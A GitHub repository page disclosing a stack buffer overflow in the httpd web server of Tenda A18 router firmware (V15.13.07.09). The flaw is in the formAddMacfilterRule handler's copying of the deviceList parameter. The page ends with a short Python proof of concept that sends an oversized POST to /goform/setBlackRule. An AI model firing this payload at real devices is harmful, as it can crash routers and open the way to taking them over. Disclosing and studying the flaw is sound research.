Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
IoT-vuln/Tenda/A18/formAddMacfilterRule/
IoT-vuln/Tenda/A18/formAddMacfilterRule/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
img
 
 
 
 

Overview

Affected version

V15.13.07.09

Vulnerability details

httpd in the /bin directory has a stack overflow vulnerability. The vulnerability is in the formAddMacfilterRule function. This function takes the POST argument deviceList and passed it to function parse_macfilter_rule. parse_macfilter_rule copies it to the memory pointed by the second argument without checking the length. The memory that this second argument points to is the stack of the formAddMacfilterRule function.

image-20220526194651423

image-20220526194751155

PoC

import requests

data = {
    b"deviceList": b'A'*0x200 + b'\r'
}

requests.post("http://127.0.0.1/goform/setBlackRule", data = data)

image-20220526195302854